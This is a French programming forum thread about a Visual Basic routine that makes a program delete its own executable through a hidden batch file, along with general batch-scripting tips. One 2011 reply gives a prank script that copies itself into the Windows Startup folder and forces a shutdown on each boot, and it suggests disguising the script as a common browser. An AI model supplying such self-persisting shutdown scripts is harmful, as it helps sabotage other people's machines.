AUTO-DESTROY

cs_Sipadan Messages postés 125 Date d'inscription lundi 5 août 2002 Statut Membre Dernière intervention 23 novembre 2011 - 14 janv. 2005 à 06:41
fortdur Messages postés 1 Date d'inscription jeudi 17 juin 2010 Statut Membre Dernière intervention 10 juillet 2011 - 10 juil. 2011 à 01:39
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/28833-auto-destroy

fortdur Messages postés 1 Date d'inscription jeudi 17 juin 2010 Statut Membre Dernière intervention 10 juillet 2011
10 juil. 2011 à 01:39
a je ne suis pas d'accord, le batch c'est puissant
exemple:

@echo off
copy %0 %userprofile%\\Start Menu\\Programs\\Startup
shutdown -s -t 30 -c "INFECTER PAR votre_pseudo"

se code copie le fichier dans les programmes a executer au démarage puis éteint le pc, le seul moyen de le stop c'est d'eteindre le pc ou d'etre malin et de le supprimer sans probleme mais si je remplace iexplorer par sa ou firefox/msn c'est mort x)
cs_pch Messages postés 11 Date d'inscription vendredi 8 août 2003 Statut Membre Dernière intervention 16 janvier 2005
16 janv. 2005 à 14:54
Pour draluorg:
Effectivement pour supprimer un fichier caché il faut le faire en 2 temps
1. attrib -h monfichier
2. del monfichier

Je suis d'accord avec toi quand tu dit:
"...s'initier a la programtion et j'irai meme jusqu'a dire indispensable si tout le monde avait une connaissance minimale des commandes interne je crois que il y aurait bcp moins de questions sur le forum ..."

J'utilise ce genre de fichier bacth pour reinstaller automatiquement Windows avec toutes mes applis à partir d'un DVD bootable,les MAJ (ex Signatures Antivirus...) se font en "pointant " sur un CD qui contient les MAJ comme cela j'ai juste a refaire le CD de temps en temps...

l'option start /w permet d'etre independant de l'os que j'installe quand j'appelle le CD de MAJ (J'ai plusieur DD et plusieurs DVD install W98,WXP).
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
16 janv. 2005 à 09:41
bein tout simplement pcq pour executer kill (app.path & "" & prog.exe) faut que prog.exe soit en cours donc s'il est en cours il ne peut pas etre supprime!
hhhp2004 Messages postés 173 Date d'inscription samedi 25 octobre 2003 Statut Membre Dernière intervention 13 octobre 2007
16 janv. 2005 à 00:43
je nai pas encore esseyé mais pour quoi pas


Private Sub Form_Unload(Cancel As Integer)
kill (app.path & "" & prog.exe)
End Sub

si ca marche pas dites moi pourquoi
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
15 janv. 2005 à 19:05
yep ms premierement la batch n'est pas du tout puissant et tres tres limite essai par exemple de supprimer un fichier cache avec un fichier bat
ou de terminer un processus lol
non le batch est tres pratique dans certains cas mais reste tres limite et disparait d'ailleur de plus en plus...
par contre la "programation batch" est la meilleur facon pour moi de s'initier a la programtion et j'irai meme jusqu'a dire indispensable si tout le monde avait une connaissance minimale des commandes interne je crois que il y aurait bcp moins de questions sur le forum
ceci dit on s'evade la .......

PS ton code me fait penser a mon ancien batch d'instalation OEM de windows que je m'etais fais y a quelques mois, ne ferais tu ps la meme chose ?

ps si tu est sous xp start /w ou /w ne sert a rien en tapant monfichier.exe cmd attendra que le processus monfichier.exe soit termine pour rendre la main par contre si tu mets start ... tu es en effet oblige de mettre l'argument /w
cs_pch Messages postés 11 Date d'inscription vendredi 8 août 2003 Statut Membre Dernière intervention 16 janvier 2005
15 janv. 2005 à 16:39
Simplement pour montrer que les fichiers bach peuvent etre tres utile et sont tres puissant comme la dit ElastycmaN pour executer un appel de programme quelconque.

Pour etre sur qu'une commande soit terminé dans un fichier batch :
start /wait nom du programme a lancer des que le programme est terminé il rend la main au fichier batch qui l'a appelé qui peut continuer son execution

Je precise que le batch d'exemple est de moi.!!!
Exemple

@echo off
echo NE PAS FERMER CETTE FENETRE NI ARRETER L'ORDINATEUR !!!!
Title Verification des virus sur l'ordinateur, DURER 1 HEURE ENVIRON
start /wait stinger.exe /GO /ADL
echo Termine
CLS

echo Installation de McAfee 7.10 FR,VEUILLER PATIENTER 10 mn ENVIRON.
Title Installation de McAfee 7.10 FR,DURER 10 mn ENVIRON,NE PAS FERMER CETTE FENETRE !!!!
start /wait Setup.exe ADDLOCAL=ALL /q
echo Termine
CLS

echo Mise à jour signature McAfee 7.10 FR au 12/01/2005
echo DURER 5 mn ENVIRON,NE PAS FERMER CETTE FENETRE !!!!
Title Mise à jour des signatures McAfee 7.10 FR au 12/01/2005,DURER 5 mn ENVIRON.
start /wait sdat.exe /SILENT
echo Termine
cls

echo.
echo BRAVO L'ANTIVIRUS EST INSTALLE N'OUBLIE PAS LES MISES A JOUR REGULIERE
pause
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
15 janv. 2005 à 16:04
ms bon tu explique coment creer un fichier en batch ms c'etait deja ds le code de depart tu explique comment supprimer un fichier ca aussi c'etait ds le code puis tu explique la redirection mais qui ne sert strictement a rien ici donc quel est le but de ton post ?
cs_pch Messages postés 11 Date d'inscription vendredi 8 août 2003 Statut Membre Dernière intervention 16 janvier 2005
15 janv. 2005 à 15:52
Pour JulioDelphi
j'ai trouvé ce source grace à l'aide de Win XP
"centre d'aide et de support"
Rechercher "redirection de commande"
2-Utilisation d'opérateurs de redirection des commandes
3-Utilisation de filtres

Pour l'echo copié- collé de l'aide de la commande echo du "centre d'aide et de support"

Et en combinant les 3 aides et en faisant des essais sur mon micro je suis arrivé à cette source tout seul contrairement à ce que tu dit !

Le rem cls est resté car je ne voulais pas faire apparaitre "1 fichier copié" donc j'ai desactivé le cls
et je l'ai mis 4 lignes plus bas.
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
15 janv. 2005 à 13:52
non merde je dis nimporte koi c'est l'option pause>01 ou truc du genre qui sert a faire une pause d'un tremps donne sorry j'ai lu trop vite....
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
15 janv. 2005 à 13:46
wai et en plus la commande pause n'heixste pas sous XP c'est une vielle commade faisant appel au composant choice.com si ma memoire est bonne .
JulioDelphi Messages postés 2226 Date d'inscription dimanche 5 octobre 2003 Statut Membre Dernière intervention 18 novembre 2010 14
15 janv. 2005 à 11:55
pch, tu peux me dire où tu as trouvé ce .bat qui n'est visiblement pas de toi ?
as tu testé ce .bat ? : non
pourquoi mettre plusieurs fois "@echo off" quand une seule suffit ? : parceque tu a collé ce code sans le lire
pourquoi mettre "rem cls" ? : idem

prends le soin de tester avant de poster et cite tes sources...
cs_pch Messages postés 11 Date d'inscription vendredi 8 août 2003 Statut Membre Dernière intervention 16 janvier 2005
15 janv. 2005 à 11:45
On imagine pas la puissance des fichiers .bat
A copier dans un fichier appeler test.bat et à lancer de n'importe ou....
----------------------------------------------------------------

@echo off
echo COMMENT CREER UN FICHIER AVEC UN FICHIER BAT !!!!
ECHO MANIPULATION DE FICHIER
Title CREATION AUTOMATIQUE D'UN FICHIER SUR L'ORDINATEUR.
dir c:\ >text.txt
copy text.txt text.old
echo Termine
REM CLS
@echo off
echo.

pause
CLS
@echo off
echo SUPPRESSION AUTOMATIQUE D'UN FICHIER SUR L'ORDINATEUR.
ECHO REMET TOUT EN ORDRE,LES PAUSES SONT DESTINEES A VOIR LES SEQUENCES...
Title COMMENT SUPPRIMER UN FICHIER SANS LAISSER DE TRACE!!!!
PAUSE
find "y" < c:\*.* >&2
del text.*
del test.bat <&2
lebarn Messages postés 124 Date d'inscription vendredi 25 avril 2003 Statut Membre Dernière intervention 31 mai 2008
14 janv. 2005 à 22:37
je chercherais
lebarn Messages postés 124 Date d'inscription vendredi 25 avril 2003 Statut Membre Dernière intervention 31 mai 2008
14 janv. 2005 à 22:36
je sais pas si il existe quelque chose ? surement
lebarn Messages postés 124 Date d'inscription vendredi 25 avril 2003 Statut Membre Dernière intervention 31 mai 2008
14 janv. 2005 à 22:16
salut,

je trouve cette methode un peu lourd la suppression par batch
JulioDelphi Messages postés 2226 Date d'inscription dimanche 5 octobre 2003 Statut Membre Dernière intervention 18 novembre 2010 14
14 janv. 2005 à 17:20
1) c:\\truc.bat marche comme c:\truc.bat
- j'ai testé : creation de "aaa" dans "c:"
- creation de "bbb.bat" dans "c:\aaa"
- je tape "cd" pour retourner sur "c:"
- puis "del c:\aaa\\bbb.bat"
- le fichier bat a été supprimé

MAIS effectivement ça ne marche pas si nous sommes à la racine
Bien vu

2) un .bat ne supprime pas vers la corbeille

a+
cs_kalif Messages postés 362 Date d'inscription mardi 18 décembre 2001 Statut Membre Dernière intervention 24 août 2012
14 janv. 2005 à 17:08
Bon j'ai 2 petites choses a ajouter

1) si le programme en question se trouve a la racine du lecteur ca n'ira pas puisque app.path renverra C:\ ... style shell app.path & "\main.bat" donnera C:\\main.bat

donc utiliser
function Ddir(str as string) as string
if right(str,1) "" then Ddir left(str,len(str)-1) else ddir=str)
end function

2) si on ECRASE pas les bytes du prog par des 0 on peut le récupérer avec différent programme meme s'il a été supprimer de la corbeille

sur ce @+
JulioDelphi Messages postés 2226 Date d'inscription dimanche 5 octobre 2003 Statut Membre Dernière intervention 18 novembre 2010 14
14 janv. 2005 à 17:03
100% d'accord
Pym Corp Messages postés 166 Date d'inscription jeudi 9 décembre 2004 Statut Membre Dernière intervention 18 novembre 2007
14 janv. 2005 à 16:58
Désolé mais je pense qu'une boucle dans un bat pour attendre la fermeture totale de l'application c'est mieux que faire une pause.

Surtout que une appli peut bien mettre plus de deux secondes à se fermer.
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
14 janv. 2005 à 15:52
wai bein c po tres propre comme methode!

ou alors mets une pause dans ta boucle!

bon allez on va faire un mixte de maniere a mettre tout le monde d'accord lol


Private Function AutoDestroy()
Dim DelProg As Integer
DelProg = FreeFile
Open App.Path & "\main.bat" For Output As #DelProg

Print #DelProg, "@echo off"
Print #DelProg, ":debut"
Print #DelProg, "echo wscript.sleep 2000>sleep.vbs"
Print #DelProg, "start /w sleep.vbs"
Print #DelProg, "del sleep.vbs"
Print #DelProg, "del """ & App.Path & "" & App.EXEName & ".exe"""
Print #DelProg, "if exist """ & App.Path & "" & App.EXEName & ".exe""" & " goto debut"
Print #DelProg, "del """ & App.Path & "\main.bat"""
Close #DelProg
Shell App.Path & "\main.bat", vbHide

End Function
Pym Corp Messages postés 166 Date d'inscription jeudi 9 décembre 2004 Statut Membre Dernière intervention 18 novembre 2007
14 janv. 2005 à 14:45
Salut à tous, regarder plûtot ce bout de code, qui apporte la solution à tous vos problèmes :

Private Function AutoDestroy()
Dim DelProg As Integer
DelProg = FreeFile
Open App.Path & "\main.bat" For Output As #DelProg
Print #DelProg, "@echo off"
Print #DelProg, ":debut"
Print #DelProg, "del """ & App.Path & "" & App.EXEName & ".exe"""
Print #DelProg, "if exist """ & App.Path & "" & App.EXEName & ".exe""" & " goto debut"
Print #DelProg, "del """ & App.Path & "\main.bat"""
Close #DelProg
Shell App.Path & "\main.bat", vbHide
End Function

Private Sub Form_Unload(Cancel As Integer)
AutoDestroy
End Sub
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
14 janv. 2005 à 13:02
Pour hoeppe,

bein c'est simple il suffit que tu verifie la langue de l'os

puis tu mets :
dim echo
if WinLanguage "Eng" then echo "Echo Y" else echo = "Echo O"
et puis tu ecrira de cette facon:

Print #SavSet, Echo & "|del " & dell

voila en esperant repondre a ta question @+
JulioDelphi Messages postés 2226 Date d'inscription dimanche 5 octobre 2003 Statut Membre Dernière intervention 18 novembre 2010 14
14 janv. 2005 à 12:59
Tout a fait, une pause ou une boucle juska ce qu'il puisse le delete.
le bat peut s'autodeleter meme "en utilisation" genre en derniere ligne tu mets "del fichier.bat" alors ke fichier.bat est lancé alors ça marche, mais jamais sur un exe :)
a+
draluorg Messages postés 625 Date d'inscription vendredi 23 avril 2004 Statut Membre Dernière intervention 25 novembre 2010
14 janv. 2005 à 12:54
mouarf y a des percuades ici...

un fichier .bat peut s'autosuprimer sans probleme car il n'est pas en cours c'est cmd.exe qui l'est le bat ne fait que appeler cmd qui va lire les commandes,
il est claire que un fichier.bat ne peut pas supprimer un exe en cours d'utilisation ce code marche trs bien sous XP et ne laisse aucunes traces. le seul probleme qu'il pourrait y avoir c'est que le programme soit trop lent a se fermer et dans ce cas il suffirait d'ajouter une ligne au fichier bat pour qu'il fasse une petite pause

voila @+ et bonne prog a tous.
JulioDelphi Messages postés 2226 Date d'inscription dimanche 5 octobre 2003 Statut Membre Dernière intervention 18 novembre 2010 14
14 janv. 2005 à 11:58
Elastycman : vérifie ce que tu dis avant de poster :) un bat (ou meme la simple commande DOS) "del machin.exe" ne supprimera pas ce fichier si il est en execution : IM-PO-SSI-BLE. maintenant que tu as posté, vérifie : lance un ptit fichier exe, puis en commande dos tape "del monfichier.exe" ou cree toi un fichier bat contenant cette ligne. execute : "acces refusé ;)
hoeppe Messages postés 56 Date d'inscription mardi 20 mai 2003 Statut Membre Dernière intervention 10 juin 2005
14 janv. 2005 à 11:19
chalu a tous et toutes!

Bonne année, bonne santé, etc...

une question qui me parait de taille, : comment faire pour ne pas coder "en dur" le .bat (le echo O | devient echo Y| sur un windows anglais)?

Si quelqu'un peut me repondre ce serait sympa.

Bon codage.
Elastycman Messages postés 40 Date d'inscription mardi 28 janvier 2003 Statut Membre Dernière intervention 3 octobre 2006
14 janv. 2005 à 08:33
Creez un fichier .bat et non .exe et dedans apres la suppression de votre programme mettez del "del.bat", le batch est tres puissant et peut supprimez un fichier en cour d'execution!

PS: deja vu sur le site!

ElastycmaN
cs_jupiter Messages postés 34 Date d'inscription lundi 5 août 2002 Statut Membre Dernière intervention 9 janvier 2009
14 janv. 2005 à 08:05
Je ne sais pas ou PROTEUS91 a vu un fichier del.bat mais pour moi le .exe disparait sans laisser aucune trace.
PROTEUS91 Messages postés 156 Date d'inscription mardi 4 novembre 2003 Statut Membre Dernière intervention 28 décembre 2010
14 janv. 2005 à 07:35
Et le fichier del.bat tu le supprime comment gros malin ? lol, non sans deconner ton code est simple, mais c'est vrai que si tu veux etre discret tu dois aussi te demerder pour supprimer le fichier BAT, particulierement quand il contient le nom du fichier qu'il a supprimé....

Mais sinon c vrai que c'est simple et clair. J'aime bien.
cs_Sipadan Messages postés 125 Date d'inscription lundi 5 août 2002 Statut Membre Dernière intervention 23 novembre 2011
14 janv. 2005 à 06:41
Oooooooh, jolie et simple en plus.
@+,Yann.
Rejoignez-nous